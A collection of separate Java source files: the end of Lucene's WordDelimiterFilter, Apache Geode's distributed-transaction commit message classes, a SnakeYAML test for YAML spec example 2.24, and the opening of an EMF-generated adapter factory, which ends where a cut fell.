this.iterator = new WordDelimiterIterator(
charTypeTable, has(SPLIT_ON_CASE_CHANGE), has(SPLIT_ON_NUMERICS), has(STEM_ENGLISH_POSSESSIVE));
}
/**
* Creates a new WordDelimiterFilter using {@link WordDelimiterIterator#DEFAULT_WORD_DELIM_TABLE}
* as its charTypeTable
*
* @param in TokenStream to be filtered
* @param configurationFlags Flags configuring the filter
* @param protWords If not null is the set of tokens to protect from being delimited
*/
public WordDelimiterFilter(TokenStream in, int configurationFlags, CharArraySet protWords) {
this(in, WordDelimiterIterator.DEFAULT_WORD_DELIM_TABLE, configurationFlags, protWords);
}
/**
* @deprecated Use {@link #WordDelimiterFilter(TokenStream, int, CharArraySet)}
*/
@Deprecated
public WordDelimiterFilter(Version matchVersion, TokenStream in, int configurationFlags, CharArraySet protWords) {
this(matchVersion, in, WordDelimiterIterator.DEFAULT_WORD_DELIM_TABLE, configurationFlags, protWords);
}
@Override
public boolean incrementToken() throws IOException {
while (true) {
if (!hasSavedState) {
// process a new input word
if (!input.incrementToken()) {
return false;
}
int termLength = termAttribute.length();
char[] termBuffer = termAttribute.buffer();
accumPosInc += posIncAttribute.getPositionIncrement();
iterator.setText(termBuffer, termLength);
iterator.next();
// word of no delimiters, or protected word: just return it
if ((iterator.current == 0 && iterator.end == termLength) ||
(protWords != null && protWords.contains(termBuffer, 0, termLength))) {
posIncAttribute.setPositionIncrement(accumPosInc);
accumPosInc = 0;
first = false;
return true;
}
// word of simply delimiters
if (iterator.end == WordDelimiterIterator.DONE && !has(PRESERVE_ORIGINAL)) {
// if the posInc is 1, simply ignore it in the accumulation
// TODO: proper hole adjustment (FilteringTokenFilter-like) instead of this previous logic!
if (posIncAttribute.getPositionIncrement() == 1 && !first) {
accumPosInc--;
}
continue;
}
saveState();
hasOutputToken = false;
hasOutputFollowingOriginal = !has(PRESERVE_ORIGINAL);
lastConcatCount = 0;
if (has(PRESERVE_ORIGINAL)) {
posIncAttribute.setPositionIncrement(accumPosInc);
accumPosInc = 0;
first = false;
return true;
}
}
// at the end of the string, output any concatenations
if (iterator.end == WordDelimiterIterator.DONE) {
if (!concat.isEmpty()) {
if (flushConcatenation(concat)) {
buffer();
continue;
}
}
if (!concatAll.isEmpty()) {
// only if we haven't output this same combo above!
if (concatAll.subwordCount > lastConcatCount) {
concatAll.writeAndClear();
buffer();
continue;
}
concatAll.clear();
}
if (bufferedPos < bufferedLen) {
if (bufferedPos == 0) {
sorter.sort(0, bufferedLen);
}
clearAttributes();
restoreState(buffered[bufferedPos++]);
if (first && posIncAttribute.getPositionIncrement() == 0) {
// can easily happen with strange combinations (e.g. not outputting numbers, but concat-all)
posIncAttribute.setPositionIncrement(1);
}
first = false;
return true;
}
// no saved concatenations, on to the next input word
bufferedPos = bufferedLen = 0;
hasSavedState = false;
continue;
}
// word surrounded by delimiters: always output
if (iterator.isSingleWord()) {
generatePart(true);
iterator.next();
first = false;
return true;
}
int wordType = iterator.type();
// do we already have queued up incompatible concatenations?
if (!concat.isEmpty() && (concat.type & wordType) == 0) {
if (flushConcatenation(concat)) {
hasOutputToken = false;
buffer();
continue;
}
hasOutputToken = false;
}
// add subwords depending upon options
if (shouldConcatenate(wordType)) {
if (concat.isEmpty()) {
concat.type = wordType;
}
concatenate(concat);
}
// add all subwords (catenateAll)
if (has(CATENATE_ALL)) {
concatenate(concatAll);
}
// if we should output the word or number part
if (shouldGenerateParts(wordType)) {
generatePart(false);
buffer();
}
iterator.next();
}
}
@Override
public void reset() throws IOException {
super.reset();
hasSavedState = false;
concat.clear();
concatAll.clear();
accumPosInc = bufferedPos = bufferedLen = 0;
first = true;
}
// ================================================= Helper Methods ================================================
private AttributeSource.State buffered[] = new AttributeSource.State[8];
private int startOff[] = new int[8];
private int posInc[] = new int[8];
private int bufferedLen = 0;
private int bufferedPos = 0;
private boolean first;
private class OffsetSorter extends InPlaceMergeSorter {
@Override
protected int compare(int i, int j) {
int cmp = Integer.compare(startOff[i], startOff[j]);
if (cmp == 0) {
cmp = Integer.compare(posInc[j], posInc[i]);
}
return cmp;
}
@Override
protected void swap(int i, int j) {
AttributeSource.State tmp = buffered[i];
buffered[i] = buffered[j];
buffered[j] = tmp;
int tmp2 = startOff[i];
startOff[i] = startOff[j];
startOff[j] = tmp2;
tmp2 = posInc[i];
posInc[i] = posInc[j];
posInc[j] = tmp2;
}
}
final OffsetSorter sorter = new OffsetSorter();
private void buffer() {
if (bufferedLen == buffered.length) {
int newSize = ArrayUtil.oversize(bufferedLen+1, 8);
buffered = Arrays.copyOf(buffered, newSize);
startOff = Arrays.copyOf(startOff, newSize);
posInc = Arrays.copyOf(posInc, newSize);
}
startOff[bufferedLen] = offsetAttribute.startOffset();
posInc[bufferedLen] = posIncAttribute.getPositionIncrement();
buffered[bufferedLen] = captureState();
bufferedLen++;
}
/**
* Saves the existing attribute states
*/
private void saveState() {
// otherwise, we have delimiters, save state
savedStartOffset = offsetAttribute.startOffset();
savedEndOffset = offsetAttribute.endOffset();
// if length by start + end offsets doesn't match the term text then assume this is a synonym and don't adjust the offsets.
hasIllegalOffsets = (savedEndOffset - savedStartOffset != termAttribute.length());
savedType = typeAttribute.type();
if (savedBuffer.length < termAttribute.length()) {
savedBuffer = new char[ArrayUtil.oversize(termAttribute.length(), RamUsageEstimator.NUM_BYTES_CHAR)];
}
System.arraycopy(termAttribute.buffer(), 0, savedBuffer, 0, termAttribute.length());
iterator.text = savedBuffer;
hasSavedState = true;
}
/**
* Flushes the given WordDelimiterConcatenation by either writing its concat and then clearing, or just clearing.
*
* @param concatenation WordDelimiterConcatenation that will be flushed
* @return {@code true} if the concatenation was written before it was cleared, {@code false} otherwise
*/
private boolean flushConcatenation(WordDelimiterConcatenation concatenation) {
lastConcatCount = concatenation.subwordCount;
if (concatenation.subwordCount != 1 || !shouldGenerateParts(concatenation.type)) {
concatenation.writeAndClear();
return true;
}
concatenation.clear();
return false;
}
/**
* Determines whether to concatenate a word or number if the current word is the given type
*
* @param wordType Type of the current word used to determine if it should be concatenated
* @return {@code true} if concatenation should occur, {@code false} otherwise
*/
private boolean shouldConcatenate(int wordType) {
return (has(CATENATE_WORDS) && isAlpha(wordType)) || (has(CATENATE_NUMBERS) && isDigit(wordType));
}
/**
* Determines whether a word/number part should be generated for a word of the given type
*
* @param wordType Type of the word used to determine if a word/number part should be generated
* @return {@code true} if a word/number part should be generated, {@code false} otherwise
*/
private boolean shouldGenerateParts(int wordType) {
return (has(GENERATE_WORD_PARTS) && isAlpha(wordType)) || (has(GENERATE_NUMBER_PARTS) && isDigit(wordType));
}
/**
* Concatenates the saved buffer to the given WordDelimiterConcatenation
*
* @param concatenation WordDelimiterConcatenation to concatenate the buffer to
*/
private void concatenate(WordDelimiterConcatenation concatenation) {
if (concatenation.isEmpty()) {
concatenation.startOffset = savedStartOffset + iterator.current;
}
concatenation.append(savedBuffer, iterator.current, iterator.end - iterator.current);
concatenation.endOffset = savedStartOffset + iterator.end;
}
/**
* Generates a word/number part, updating the appropriate attributes
*
* @param isSingleWord {@code true} if the generation is occurring from a single word, {@code false} otherwise
*/
private void generatePart(boolean isSingleWord) {
clearAttributes();
termAttribute.copyBuffer(savedBuffer, iterator.current, iterator.end - iterator.current);
int startOffset = savedStartOffset + iterator.current;
int endOffset = savedStartOffset + iterator.end;
if (hasIllegalOffsets) {
// historically this filter did this regardless for 'isSingleWord',
// but we must do a sanity check:
if (isSingleWord && startOffset <= savedEndOffset) {
offsetAttribute.setOffset(startOffset, savedEndOffset);
} else {
offsetAttribute.setOffset(savedStartOffset, savedEndOffset);
}
} else {
offsetAttribute.setOffset(startOffset, endOffset);
}
posIncAttribute.setPositionIncrement(position(false));
typeAttribute.setType(savedType);
}
/**
* Get the position increment gap for a subword or concatenation
*
* @param inject true if this token wants to be injected
* @return position increment gap
*/
private int position(boolean inject) {
int posInc = accumPosInc;
if (hasOutputToken) {
accumPosInc = 0;
return inject ? 0 : Math.max(1, posInc);
}
hasOutputToken = true;
if (!hasOutputFollowingOriginal) {
// the first token following the original is 0 regardless
hasOutputFollowingOriginal = true;
return 0;
}
// clear the accumulated position increment
accumPosInc = 0;
return Math.max(1, posInc);
}
/**
* Checks if the given word type includes {@link #ALPHA}
*
* @param type Word type to check
* @return {@code true} if the type contains ALPHA, {@code false} otherwise
*/
static boolean isAlpha(int type) {
return (type & ALPHA) != 0;
}
/**
* Checks if the given word type includes {@link #DIGIT}
*
* @param type Word type to check
* @return {@code true} if the type contains DIGIT, {@code false} otherwise
*/
static boolean isDigit(int type) {
return (type & DIGIT) != 0;
}
/**
* Checks if the given word type includes {@link #SUBWORD_DELIM}
*
* @param type Word type to check
* @return {@code true} if the type contains SUBWORD_DELIM, {@code false} otherwise
*/
static boolean isSubwordDelim(int type) {
return (type & SUBWORD_DELIM) != 0;
}
/**
* Checks if the given word type includes {@link #UPPER}
*
* @param type Word type to check
* @return {@code true} if the type contains UPPER, {@code false} otherwise
*/
static boolean isUpper(int type) {
return (type & UPPER) != 0;
}
/**
* Determines whether the given flag is set
*
* @param flag Flag to see if set
* @return {@code true} if flag is set
*/
private boolean has(int flag) {
return (flags & flag) != 0;
}
// ================================================= Inner Classes =================================================
/**
* A WDF concatenated 'run'
*/
final class WordDelimiterConcatenation {
final StringBuilder buffer = new StringBuilder();
int startOffset;
int endOffset;
int type;
int subwordCount;
/**
* Appends the given text of the given length, to the concetenation at the given offset
*
* @param text Text to append
* @param offset Offset in the concetenation to add the text
* @param length Length of the text to append
*/
void append(char text[], int offset, int length) {
buffer.append(text, offset, length);
subwordCount++;
}
/**
* Writes the concatenation to the attributes
*/
void write() {
clearAttributes();
if (termAttribute.length() < buffer.length()) {
termAttribute.resizeBuffer(buffer.length());
}
char termbuffer[] = termAttribute.buffer();
buffer.getChars(0, buffer.length(), termbuffer, 0);
termAttribute.setLength(buffer.length());
if (hasIllegalOffsets) {
offsetAttribute.setOffset(savedStartOffset, savedEndOffset);
}
else {
offsetAttribute.setOffset(startOffset, endOffset);
}
posIncAttribute.setPositionIncrement(position(true));
typeAttribute.setType(savedType);
accumPosInc = 0;
}
/**
* Determines if the concatenation is empty
*
* @return {@code true} if the concatenation is empty, {@code false} otherwise
*/
boolean isEmpty() {
return buffer.length() == 0;
}
/**
* Clears the concatenation and resets its state
*/
void clear() {
buffer.setLength(0);
startOffset = endOffset = type = subwordCount = 0;
}
/**
* Convenience method for the common scenario of having to write the concetenation and then clearing its state
*/
void writeAndClear() {
write();
clear();
}
}
// questions:
// negative numbers? -42 indexed as just 42?
// dollar sign? $42
// percent sign? 33%
// downsides: if source text is "powershot" then a query of "PowerShot" won't match!
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.internal.cache;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.apache.logging.log4j.Logger;
import org.apache.geode.CancelException;
import org.apache.geode.DataSerializer;
import org.apache.geode.cache.CommitIncompleteException;
import org.apache.geode.cache.RegionDestroyedException;
import org.apache.geode.cache.UnsupportedOperationInTransactionException;
import org.apache.geode.distributed.DistributedMember;
import org.apache.geode.distributed.internal.ClusterDistributionManager;
import org.apache.geode.distributed.internal.DistributionManager;
import org.apache.geode.distributed.internal.DistributionMessage;
import org.apache.geode.distributed.internal.ReplyException;
import org.apache.geode.distributed.internal.ReplyMessage;
import org.apache.geode.distributed.internal.ReplyProcessor21;
import org.apache.geode.distributed.internal.ReplySender;
import org.apache.geode.distributed.internal.membership.InternalDistributedMember;
import org.apache.geode.internal.Assert;
import org.apache.geode.internal.InternalDataSerializer;
import org.apache.geode.internal.cache.TXEntryState.DistTxThinEntryState;
import org.apache.geode.internal.logging.log4j.LogMarker;
import org.apache.geode.internal.serialization.DeserializationContext;
import org.apache.geode.internal.serialization.SerializationContext;
import org.apache.geode.logging.internal.log4j.api.LogService;
public class DistTXCommitMessage extends TXMessage {
private static final Logger logger = LogService.getLogger();
protected ArrayList<ArrayList<DistTxThinEntryState>> entryStateList = null;
/** for deserialization */
public DistTXCommitMessage() {}
public DistTXCommitMessage(TXId txUniqId, InternalDistributedMember onBehalfOfClientMember,
ReplyProcessor21 processor) {
super(txUniqId.getUniqId(), onBehalfOfClientMember, processor);
}
@Override
public int getDSFID() {
return DISTTX_COMMIT_MESSAGE;
}
@Override
protected boolean operateOnTx(TXId txId, ClusterDistributionManager dm)
throws RemoteOperationException {
if (logger.isDebugEnabled()) {
logger.debug("DistTXCommitMessage.operateOnTx: Tx {}", txId);
}
InternalCache cache = dm.getCache();
TXManagerImpl txMgr = cache.getTXMgr();
final TXStateProxy txStateProxy = txMgr.getTXState();
TXCommitMessage commitMessage = txMgr.getRecentlyCompletedMessage(txId);
try {
// do the actual commit, only if it was not done before
if (commitMessage != null) {
if (logger.isDebugEnabled()) {
logger.debug(
"DistTXCommitMessage.operateOnTx: found a previously committed transaction:{}", txId);
}
if (txMgr.isExceptionToken(commitMessage)) {
throw txMgr.getExceptionForToken(commitMessage, txId);
}
} else {
// [DISTTX] TODO - Handle scenarios of no txState
// if no TXState was created (e.g. due to only getEntry/size operations
// that don't start remote TX) then ignore
if (txStateProxy != null) {
/*
* [DISTTX] TODO See how other exceptions are caught and send on wire, than throwing?
*
* This can be spared since it will be programming bug
*/
if (!txStateProxy.isDistTx() || txStateProxy.isCreatedOnDistTxCoordinator()) {
throw new UnsupportedOperationInTransactionException(
String.format("Expected %s during a distributed transaction but got %s",
"DistTXStateProxyImplOnDatanode", txStateProxy.getClass().getSimpleName()));
}
if (logger.isDebugEnabled()) {
logger.debug(
"DistTXCommitMessage.operateOnTx Commiting {} "
+ " incoming entryEventList:{} coming from {} ",
txId, DistTXStateProxyImplOnCoordinator.printEntryEventList(this.entryStateList),
this.getSender().getId());
}
// Set Member's ID to all entry states
String memberID = this.getSender().getId();
for (ArrayList<DistTxThinEntryState> esList : this.entryStateList) {
for (DistTxThinEntryState es : esList) {
es.setMemberID(memberID);
}
}
((DistTXStateProxyImplOnDatanode) txStateProxy)
.populateDistTxEntryStates(this.entryStateList);
txStateProxy.setCommitOnBehalfOfRemoteStub(true);
txMgr.commit();
commitMessage = txStateProxy.getCommitMessage();
}
}
} finally {
txMgr.removeHostedTXState(txId);
}
DistTXCommitReplyMessage.send(getSender(), getProcessorId(), commitMessage, getReplySender(dm));
/*
* return false so there isn't another reply
*/
return false;
}
@Override
public void fromData(DataInput in,
DeserializationContext context) throws IOException, ClassNotFoundException {
super.fromData(in, context);
this.entryStateList = DataSerializer.readArrayList(in);
}
@Override
public void toData(DataOutput out,
SerializationContext context) throws IOException {
super.toData(out, context);
DataSerializer.writeArrayList(entryStateList, out);
}
@Override
public boolean isTransactionDistributed() {
return true;
}
@Override
public boolean canStartRemoteTransaction() {
return true;
}
public void setEntryStateList(ArrayList<ArrayList<DistTxThinEntryState>> entryStateList) {
this.entryStateList = entryStateList;
}
/**
* This message is used for the reply to a Dist Tx Phase Two commit operation: a commit from a
* stub to the tx host. This is the reply to a {@link DistTXCommitMessage}.
*
*/
public static class DistTXCommitReplyMessage extends ReplyMessage {
private transient TXCommitMessage commitMessage;
/**
* Empty constructor to conform to DataSerializable interface
*/
public DistTXCommitReplyMessage() {}
public DistTXCommitReplyMessage(DataInput in) throws IOException, ClassNotFoundException {
fromData(in, InternalDataSerializer.createDeserializationContext(in));
}
private DistTXCommitReplyMessage(int processorId, TXCommitMessage val) {
setProcessorId(processorId);
this.commitMessage = val;
}
/** GetReplyMessages are always processed in-line */
@Override
public boolean getInlineProcess() {
return true;
}
/**
* Return the value from the get operation, serialize it bytes as late as possible to avoid
* making un-neccesary byte[] copies. De-serialize those same bytes as late as possible to avoid
* using precious threads (aka P2P readers).
*
* @param recipient the origin VM that performed the get
* @param processorId the processor on which the origin thread is waiting
* @param val the raw value that will eventually be serialized
* @param replySender distribution manager used to send the reply
*/
public static void send(InternalDistributedMember recipient, int processorId,
TXCommitMessage val, ReplySender replySender) throws RemoteOperationException {
Assert.assertTrue(recipient != null, "DistTXCommitPhaseTwoReplyMessage NULL reply message");
DistTXCommitReplyMessage m = new DistTXCommitReplyMessage(processorId, val);
m.setRecipient(recipient);
replySender.putOutgoing(m);
}
/**
* Processes this message. This method is invoked by the receiver of the message.
*
* @param dm the distribution manager that is processing the message.
*/
@Override
public void process(final DistributionManager dm, ReplyProcessor21 processor) {
final long startTime = getTimestamp();
if (logger.isTraceEnabled(LogMarker.DM_VERBOSE)) {
logger.trace(LogMarker.DM_VERBOSE,
"DistTXCommitPhaseTwoReplyMessage process invoking reply processor with processorId:{}",
this.processorId);
}
if (processor == null) {
if (logger.isTraceEnabled(LogMarker.DM_VERBOSE)) {
logger.trace(LogMarker.DM_VERBOSE,
"DistTXCommitPhaseTwoReplyMessage processor not found");
}
return;
}
processor.process(this);
}
@Override
public int getDSFID() {
return DISTTX_COMMIT_REPLY_MESSAGE;
}
@Override
public void toData(DataOutput out,
SerializationContext context) throws IOException {
super.toData(out, context);
DataSerializer.writeObject(commitMessage, out);
}
@Override
public void fromData(DataInput in,
DeserializationContext context) throws IOException, ClassNotFoundException {
super.fromData(in, context);
this.commitMessage = (TXCommitMessage) DataSerializer.readObject(in);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("DistTXCommitPhaseTwoReplyMessage ").append("processorid=").append(this.processorId)
.append(" reply to sender ").append(this.getSender());
return sb.toString();
}
public TXCommitMessage getCommitMessage() {
// TODO Auto-generated method stub
return commitMessage;
}
}
/**
* Reply processor which collects all CommitReplyExceptions for Dist Tx and emits a detailed
* failure exception if problems occur
*
* [DISTTX] TODO see if need ReliableReplyProcessor21? departed members?
*/
public static class DistTxCommitReplyProcessor extends ReplyProcessor21 {
private HashMap<DistributedMember, DistTXCoordinatorInterface> msgMap;
private Map<DistributedMember, TXCommitMessage> commitResponseMap;
private transient TXId txIdent = null;
public DistTxCommitReplyProcessor(TXId txUniqId, DistributionManager dm, Set initMembers,
HashMap<DistributedMember, DistTXCoordinatorInterface> msgMap) {
super(dm, initMembers);
this.msgMap = msgMap;
// [DISTTX] TODO Do we need synchronised map?
this.commitResponseMap =
Collections.synchronizedMap(new HashMap<DistributedMember, TXCommitMessage>());
this.txIdent = txUniqId;
}
@Override
public void process(DistributionMessage msg) {
if (msg instanceof DistTXCommitReplyMessage) {
DistTXCommitReplyMessage reply = (DistTXCommitReplyMessage) msg;
this.commitResponseMap.put(reply.getSender(), reply.getCommitMessage());
}
super.process(msg);
}
public void waitForPrecommitCompletion() {
try {
waitForRepliesUninterruptibly();
} catch (DistTxCommitExceptionCollectingException e) {
e.handlePotentialCommitFailure(msgMap);
}
}
@Override
protected synchronized void processException(DistributionMessage msg, ReplyException ex) {
if (msg instanceof ReplyMessage) {
synchronized (this) {
if (this.exception == null) {
// Exception Container
this.exception = new DistTxCommitExceptionCollectingException(txIdent);
}
DistTxCommitExceptionCollectingException cce =
(DistTxCommitExceptionCollectingException) this.exception;
if (ex instanceof CommitReplyException) {
CommitReplyException cre = (CommitReplyException) ex;
cce.addExceptionsFromMember(msg.getSender(), cre.getExceptions());
} else {
cce.addExceptionsFromMember(msg.getSender(), Collections.singleton(ex));
}
}
}
}
@Override
protected boolean stopBecauseOfExceptions() {
return false;
}
public Set getCacheClosedMembers() {
if (this.exception != null) {
DistTxCommitExceptionCollectingException cce =
(DistTxCommitExceptionCollectingException) this.exception;
return cce.getCacheClosedMembers();
} else {
return Collections.emptySet();
}
}
public Set getRegionDestroyedMembers(String regionFullPath) {
if (this.exception != null) {
DistTxCommitExceptionCollectingException cce =
(DistTxCommitExceptionCollectingException) this.exception;
return cce.getRegionDestroyedMembers(regionFullPath);
} else {
return Collections.emptySet();
}
}
public Map<DistributedMember, TXCommitMessage> getCommitResponseMap() {
return commitResponseMap;
}
}
/**
* An Exception that collects many remote CommitExceptions
*
* @see TXCommitMessage.CommitExceptionCollectingException
*/
public static class DistTxCommitExceptionCollectingException extends ReplyException {
private static final long serialVersionUID = -2681117727592137893L;
/** Set of members that threw CacheClosedExceptions */
private final Set<InternalDistributedMember> cacheExceptions;
/** key=region path, value=Set of members */
private final Map<String, Set<InternalDistributedMember>> regionExceptions;
/** List of exceptions that were unexpected and caused the tx to fail */
private final Map fatalExceptions;
private final TXId id;
/*
* [DISTTX] TODO Actually handle exceptions like commit conflict, primary bucket moved, etc
*/
public DistTxCommitExceptionCollectingException(TXId txIdent) {
this.cacheExceptions = new HashSet<InternalDistributedMember>();
this.regionExceptions = new HashMap<String, Set<InternalDistributedMember>>();
this.fatalExceptions = new HashMap();
this.id = txIdent;
}
/**
* Determine if the commit processing was incomplete, if so throw a detailed exception
* indicating the source of the problem
*/
public void handlePotentialCommitFailure(
HashMap<DistributedMember, DistTXCoordinatorInterface> msgMap) {
if (fatalExceptions.size() > 0) {
StringBuilder errorMessage = new StringBuilder("Incomplete commit of transaction ")
.append(id).append(". Caused by the following exceptions: ");
for (Iterator i = fatalExceptions.entrySet().iterator(); i.hasNext();) {
Map.Entry me = (Map.Entry) i.next();
DistributedMember mem = (DistributedMember) me.getKey();
errorMessage.append(" From member: ").append(mem).append(" ");
List exceptions = (List) me.getValue();
for (Iterator ei = exceptions.iterator(); ei.hasNext();) {
Exception e = (Exception) ei.next();
errorMessage.append(e);
for (StackTraceElement ste : e.getStackTrace()) {
errorMessage.append("\n\tat ").append(ste);
}
if (ei.hasNext()) {
errorMessage.append("\nAND\n");
}
}
errorMessage.append(".");
}
throw new CommitIncompleteException(errorMessage.toString());
}
/* [DISTTX] TODO Not Sure if required */
// Mark any persistent members as offline
// handleClosedMembers(msgMap);
// handleRegionDestroyed(msgMap);
}
public Set<InternalDistributedMember> getCacheClosedMembers() {
return this.cacheExceptions;
}
public Set getRegionDestroyedMembers(String regionFullPath) {
Set members = (Set) this.regionExceptions.get(regionFullPath);
if (members == null) {
members = Collections.emptySet();
}
return members;
}
/**
* Protected by (this)
*/
public void addExceptionsFromMember(InternalDistributedMember member, Set exceptions) {
for (Iterator iter = exceptions.iterator(); iter.hasNext();) {
Exception ex = (Exception) iter.next();
if (ex instanceof CancelException) {
cacheExceptions.add(member);
} else if (ex instanceof RegionDestroyedException) {
String r = ((RegionDestroyedException) ex).getRegionFullPath();
Set<InternalDistributedMember> members = regionExceptions.get(r);
if (members == null) {
members = new HashSet<InternalDistributedMember>();
regionExceptions.put(r, members);
}
members.add(member);
} else {
List el = (List) this.fatalExceptions.get(member);
if (el == null) {
el = new ArrayList(2);
this.fatalExceptions.put(member, el);
}
el.add(ex);
}
}
}
}
}
| |
/**
* Copyright (c) 2008, http://www.snakeyaml.org
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.yaml.snakeyaml;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import junit.framework.TestCase;
import org.yaml.snakeyaml.constructor.AbstractConstruct;
import org.yaml.snakeyaml.constructor.Constructor;
import org.yaml.snakeyaml.nodes.MappingNode;
import org.yaml.snakeyaml.nodes.Node;
import org.yaml.snakeyaml.nodes.SequenceNode;
import org.yaml.snakeyaml.nodes.Tag;
import org.yaml.snakeyaml.representer.Represent;
import org.yaml.snakeyaml.representer.Representer;
/**
* Test Example 2.24 from the YAML specification
*
* @see <a href="http://yaml.org/spec/1.1/"></a>
*/
public class Example2_24Test extends TestCase {
class MyConstructor extends Constructor {
public MyConstructor() {
this.yamlConstructors.put(new Tag("tag:clarkevans.com,2002:shape"),
new ConstructShape());
this.yamlConstructors.put(new Tag("tag:clarkevans.com,2002:circle"),
new ConstructCircle());
this.yamlConstructors.put(new Tag("tag:clarkevans.com,2002:line"), new ConstructLine());
this.yamlConstructors.put(new Tag("tag:clarkevans.com,2002:label"),
new ConstructLabel());
}
private class ConstructShape extends AbstractConstruct {
@SuppressWarnings("unchecked")
public Object construct(Node node) {
SequenceNode snode = (SequenceNode) node;
List<Entity> values = (List<Entity>) constructSequence(snode);
Shape shape = new Shape(values);
return shape;
}
}
private class ConstructCircle extends AbstractConstruct {
@SuppressWarnings("unchecked")
public Object construct(Node node) {
MappingNode mnode = (MappingNode) node;
Map<Object, Object> values = constructMapping(mnode);
Circle circle = new Circle((Map<String, Integer>) values.get("center"),
(Integer) values.get("radius"));
return circle;
}
}
private class ConstructLine extends AbstractConstruct {
@SuppressWarnings("unchecked")
public Object construct(Node node) {
MappingNode mnode = (MappingNode) node;
Map<Object, Object> values = constructMapping(mnode);
Line line = new Line((Map<String, Integer>) values.get("start"),
(Map<String, Integer>) values.get("finish"));
return line;
}
}
private class ConstructLabel extends AbstractConstruct {
@SuppressWarnings("unchecked")
public Object construct(Node node) {
MappingNode mnode = (MappingNode) node;
Map<Object, Object> values = constructMapping(mnode);
Label label = new Label((Map<String, Integer>) values.get("start"),
(Integer) values.get("color"), (String) values.get("text"));
return label;
}
}
}
class MyRepresenter extends Representer {
public MyRepresenter() {
this.representers.put(Shape.class, new RepresentShape());
this.representers.put(Circle.class, new RepresentCircle());
this.representers.put(Line.class, new RepresentLine());
this.representers.put(Label.class, new RepresentLabel());
this.representers.put(HexInteger.class, new RepresentHex());
}
private class RepresentShape implements Represent {
public Node representData(Object data) {
Shape shape = (Shape) data;
List<Entity> value = shape.getEntities();
return representSequence(new Tag("!shape"), value, Boolean.FALSE);
}
}
private class RepresentCircle implements Represent {
public Node representData(Object data) {
Circle circle = (Circle) data;
Map<String, Object> map = new TreeMap<String, Object>();
map.put("center", circle.getCenter());
map.put("radius", circle.getRadius());
return representMapping(new Tag("!circle"), map, Boolean.FALSE);
}
}
private class RepresentLine implements Represent {
public Node representData(Object data) {
Line line = (Line) data;
Map<String, Object> map = new TreeMap<String, Object>();
map.put("start", line.getStart());
map.put("finish", line.getFinish());
return representMapping(new Tag("!line"), map, Boolean.FALSE);
}
}
private class RepresentLabel implements Represent {
public Node representData(Object data) {
Label label = (Label) data;
Map<String, Object> map = new TreeMap<String, Object>();
map.put("start", label.getStart());
map.put("color", new HexInteger(label.getColor()));
map.put("text", label.getText());
return representMapping(new Tag("!label"), map, Boolean.FALSE);
}
}
private class RepresentHex implements Represent {
public Node representData(Object data) {
HexInteger hex = (HexInteger) data;
return representScalar(Tag.INT, "0x"
+ Integer.toHexString(hex.getColor()).toUpperCase(), null);
}
}
}
private class HexInteger {
private Integer color;
public HexInteger(Integer color) {
this.color = color;
}
public Integer getColor() {
return color;
}
}
private class Shape {
private List<Entity> entities;
public List<Entity> getEntities() {
return entities;
}
public Shape(List<Entity> entities) {
this.entities = entities;
}
}
private class Entity {
}
private class Circle extends Entity {
private Map<String, Integer> center;
private Integer radius;
public Circle(Map<String, Integer> center, Integer radius) {
this.center = center;
this.radius = radius;
}
public Map<String, Integer> getCenter() {
return center;
}
public Integer getRadius() {
return radius;
}
}
private class Line extends Entity {
private Map<String, Integer> start;
private Map<String, Integer> finish;
public Line(Map<String, Integer> start, Map<String, Integer> finish) {
this.start = start;
this.finish = finish;
}
public Map<String, Integer> getStart() {
return start;
}
public Map<String, Integer> getFinish() {
return finish;
}
}
private class Label extends Entity {
private Map<String, Integer> start;
private Integer color;
private String text;
public Label(Map<String, Integer> start, Integer color, String text) {
this.start = start;
this.color = color;
this.text = text;
}
public Map<String, Integer> getStart() {
return start;
}
public Integer getColor() {
return color;
}
public String getText() {
return text;
}
}
public void testExample_2_24() {
Yaml yaml = new Yaml(new MyConstructor());
Shape shape = (Shape) yaml.load(Util.getLocalResource("specification/example2_24.yaml"));
assertNotNull(shape);
yaml = new Yaml(new MyRepresenter());
String output = yaml.dump(shape);
String etalon = Util.getLocalResource("specification/example2_24_dumped.yaml");
assertEquals(etalon, output);
}
}
| |
/**
*/
package benchmarkdp.datagenerator.model.PSMLibre.util;
import benchmarkdp.datagenerator.model.PSMLibre.*;
import org.eclipse.emf.common.notify.Adapter;
import org.eclipse.emf.common.notify.Notifier;
import org.eclipse.emf.common.notify.impl.AdapterFactoryImpl;
import org.eclipse.emf.ecore.EObject;
/**
* <!-- begin-user-doc -->
* The <b>Adapter Factory</b> for the model.
* It provides an adapter <code>createXXX</code> method for each class of the model.
* <!-- end-user-doc -->
* @see benchmarkdp.datagenerator.model.PSMLibre.PSMLibrePackage
* @generated
*/
public class PSMLibreAdapterFactory extends AdapterFactoryImpl {
/**
* The cached model package.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected static PSMLibrePackage modelPackage;
/**
* Creates an instance of the adapter factory.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public PSMLibreAdapterFactory() {
if (modelPackage == null) {
modelPackage = PSMLibrePackage.eINSTANCE;
}
}
/**
* Returns whether this factory is applicable for the type of the object.
* <!-- begin-user-doc -->
* This implementation returns <code>true</code> if the object is either the model's package or is an instance object of the model.
* <!-- end-user-doc -->
